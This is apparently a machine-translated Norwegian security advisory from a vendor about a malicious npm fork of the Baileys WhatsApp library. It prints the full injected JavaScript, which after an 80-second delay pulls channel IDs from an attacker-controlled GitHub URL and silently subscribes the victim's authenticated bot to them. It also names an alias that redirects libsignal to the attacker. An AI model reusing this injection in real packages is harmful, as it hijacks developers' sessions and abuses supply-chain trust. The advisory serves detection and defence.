Ondsinnet npm-pakke i Baileys Fork (Skyzopedia-sak)

TL; DR

Ocuco Xygeni sikkerhetsforskningsteam identifisert a ondsinnet npm-pakke, @dappaoffc/baileys-mod, publisert som en forgrening av det mye brukte WhatsApp Web API-biblioteket @whiskeysockets/baileys.

Fra og med versjon 8.0.1 inneholder denne ondsinnede npm-pakken en kjøretidskodeinjeksjon inni lib/Socket/newsletter.jsDen injiserte logikken abonnerer i stillhet utviklerens autentiserte WhatsApp-botøkt på angriperkontrollerte nyhetsbrevkanaler.

Nyttelasten aktiveres 80 sekunder etter at modulen er lastet inn og henter dynamisk mållisten sin fra GitHub, noe som gjør at oppførselen oppdateres selv og er vanskelig å oppdage gjennom analyse under installasjon.

Teknisk oversikt

Under rutinemessig overvåking av nylig publiserte avhengigheter oppdaget Xygeni Security Research Team unormal oppførsel i @dappaoffc/baileys-mod, senere bekreftet som en ondsinnet npm-pakke rettet mot WhatsApp-botøkosystemet.

I motsetning til ormer som stjeler påloggingsinformasjon eller ransomware-droppere, misbruker denne ondsinnede npm-pakken tillitsforholdet mellom en utvikler og et ofte forked åpen kildekode-bibliotek.

Pakken presenterer seg som en modifisert versjon av Baileys, en populær WhatsApp Web API-implementering som er mye brukt til å bygge automatiseringsroboter. Innenfor dette økosystemet er det vanlig praksis å installere forks. Følgelig utnyttet angriperen en realistisk distribusjonsmodell i stedet for å utnytte en sårbarhet.

Viktigere:

Ocuco forhåndsinstallasjonsskript validerer bare Node.js-versjonen
Ingen legitimasjonsuttrekk skjer under installasjon
Ingen mistenkelig aktivitet etter installasjon vises
Injeksjonen utføres strengt under kjøretid

På grunn av denne utformingen ville ikke skannere under installasjon oppdage ondsinnet oppførsel.

Kjøretidsinjeksjonsmekanisme inne i den skadelige npm-pakken

Den ondsinnede logikken i denne ondsinnede npm-pakken lever i lib/Socket/newsletter.js, innebygd direkte i modulens utførelseskontekst.

Angriperen pakket den injiserte blokken inn i et Immediately Invoked Function Expression (IIFE), som garanterer utførelse så snart modulen lastes inn.

I stedet for å utløses umiddelbart, introduserer nyttelasten imidlertid en forsinket utførelsesmekanisme:

				
					(async () => {
  try {
    setTimeout(async() => {
      const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
      const newsletterIds = await res.json();
      newsletterIds.forEach(async(i) => {
        await delay(5000)
        try {
          await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
        } catch (e) {}
      });
    }, 80000)
  } catch (err) {}
})()

Etter at forsinkelsen er utløpt, utfører nyttelasten en kontrollert sekvens:

Henter en JSON fil fra en GitHub-URL for rått innhold.
Analyserer en liste over WhatsApp-nyhetsbrev-ID-er.
Itererer gjennom listen.
Samtaler newsletterWMexQuery(id, QueryIds.FOLLOW) for hver oppføring.
Forespørsler har fem sekunders mellomrom for å redusere deteksjon av hastighetsgrenser.
Undertrykker stille alle kjøretidsfeil.

Fordi koden påkaller interne bibliotekfunksjoner i stedet for eksterne skript, ser det ut til at den resulterende trafikken ikke kan skilles fra legitime brukerinitierte handlinger. WhatsApp s protokollperspektiv abonnerte boten frivillig på disse kanalene.

Teknisk sammenligning: Legitim vs. injisert atferd

Komponent	Legitim oppførsel	Ondsinnet injeksjon
Installasjonsfase	Validerer kun Node.js-versjonen	Ingen synlig ondsinnet oppførsel under installasjon
Modulinitialisering	Eksporter WhatsApp socket fabrikk	IIFE kjøres automatisk ved modullasting
Utførelsestidspunkt	Ingen forsinket oppførsel	80 sekunders forsinket aktivering
Nettverkskommunikasjon	Kommuniserer kun via WhatsApp WebSocket-protokollen	Utgående henting til råinnhold på GitHub (dynamisk kontrollkanal)
Nyhetsbrevhandlinger	Brukerinitierte abonnementsforespørsler	Automatiserte FOLLOW-forespørsler via internt bibliotek-API
Håndtering av feil	Sprer driftsfeil	Undertrykker alle unntak i stillhet

Dynamisk kontrollkanal via GitHub

Nyhetsbrev-ID-listen ligger på:

				
					https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json

Denne designen gir flere driftsfordeler:

Dynamiske nyttelastoppdateringer uten å publisere en ny npm-versjon
Pålitelig TLS-endepunkt som blander seg inn i vanlig utviklertrafikk
Ingen angriperstyrt infrastruktur kreves
Persistens på tvers av allerede distribuerte roboter

Fordi injeksjonen utføres innenfor fabrikkens omfang, gjenbruker den interne lukninger som newsletterWMexQuery og delay uten å importere eksterne moduler. Dette minimerer fotavtrykk og øker stealth-funksjonaliteten.

GitHub fungerer effektivt som en lettvektskanal for distribusjon av kommandoer.

Avhengighetsalias og attribusjonssignaler

Pakkens metadata inneholder følgende avhengighetsalias:

				
					"libsignal": "npm:@skyzopedia/libsignal-node"

Dette omdirigerer en kritisk kryptografisk avhengighet til et angriperkontrollert npm-omfang.

I tillegg imiterer metadataene prosjektet oppstrøms ved å referere til den opprinnelige forfatteren og arkivet. Dette øker oppfattet legitimitet og reduserer gransking under uformell gjennomgang.

Disse signalene indikerer bevisst økosystemblanding snarere enn opportunistisk manipulering.

Indikatorer for kompromittering for denne ondsinnede npm-pakken

Sikkerhetsteam som etterforsker denne skadelige npm-pakken bør evaluere følgende signaler:

Nettverkssignaler

Utgående GET-forespørsler til raw.githubusercontent.com fra WhatsApp-botprosesser
Nyhetsbrev FØLG-handlinger som skjer uten at applikasjonslogikk utløser dem

Pakkesignaler

@dappaoffc/baileys-mod versjon 8.0.1 (og potensielt 8.0.0)
Omdirigering av avhengighetsalias libsignal
Runtime IIFE-injeksjon inni newsletter.js

Atferdssignaler

FØLG forespørsler med fem sekunders mellomrom
Ingen brukerinteraksjon før nyhetsbrevabonnement
Stille feildemping i kjernebibliotekkode

I motsetning til tradisjonell skadelig programvare krever ikke dette angrepet uttrekk av legitimasjon. Misbruket skjer utelukkende innenfor en allerede autentisert øktkontekst.

Deteksjon og begrensning med Xygeni

Dette tilfellet illustrerer hvorfor skanning under installasjon alene ikke er tilstrekkelig. Den skadelige oppførselen utføres etter at modulen er lastet inn og skjuler seg i legitim forretningslogikk.

Xygenis tidlige advarsel om skadelig programvare (MEW) oppdaget denne pakken ved å korrelere flere signaler i stedet for å stole på én enkelt signatur.

Statisk analyse med full kildekode

MEW inspiserer komplette pakkekildetrær, ikke bare livssyklusskript.

I dette tilfellet inkluderte deteksjonssignalene:

En uventet fetch() anrop i en WhatsApp-kjernemodul
Utgående kommunikasjon til GitHub-råinnhold
Forsinkede utførelsesmønstre innebygd i kjøretidslogikk
Nestet stille feilhåndtering

Individuelt kan disse mønstrene virke godartede. Kombinert analyse avslører imidlertid unormal oppførsel som ikke er i samsvar med en legitim Baileys-forgrening.

Korrelasjon mellom avhengighetsrisiko

Ocuco libsignal alias utløste ytterligere gransking fordi det omdirigerer en sensitiv avhengighet til et ubekreftet omfang.

Xygeni korrelerer:

Signaler om utgivers omdømme
Uoverensstemmelser i omfangseierskap
Avhengighetsomdirigering på kryptografiske biblioteker
Indikatorer for metadata-etterligning

Denne lagdelte analysen reduserer falske positiver samtidig som den identifiserer tillitsmisbruk.

Kjøretidsbevisste forsyningskjedekontroller

Fordi denne ondsinnede npm-pakken kjøres under kjøretid, krever effektivt forsvar atferdsbevisst analyse.

Xygeni evaluerer:

Mekanismer for forsinket utførelse
Intern API-misbruk
Utgående nettverkskall i avhengighetskode
Uregelmessig kontrollflyt i tredjepartsbiblioteker

I tillegg Guardrails retningslinjer i CI/CD kan:

Blokker uventede utgående anrop under bygging
Oppdag mistenkelige endringer i avhengighetsgrafen
Håndhev begrensninger på omdirigering av omfang
Flagg dynamiske mønstre for henting av nyttelast

Derfor er ikke inneslutning utelukkende avhengig av fjerning av registeret.

Hvorfor denne ondsinnede npm-pakken er viktig for sikkerheten i forsyningskjeden

Denne ondsinnede npm-pakken gjenspeiler et strukturelt skifte i misbruk av forsyningskjeden:

Kjøretidsutførelse i stedet for nyttelaster ved installasjon
Dynamiske kontrollkanaler som ligger på pålitelige plattformer
Misbruk av legitime interne API-er
Metadata-forfalskning for å etterligne oppstrøms vedlikeholdere

Angriperen utnyttet ikke en programvaresårbarhet. I stedet utnyttet angriperen tillit til forks og avhengighetsoppdateringer.

Følgelig krever deteksjon full kildekontroll, korrelasjon av avhengighetsrisiko og kjøretidsbevisst analyse, ikke bare skriptskanning.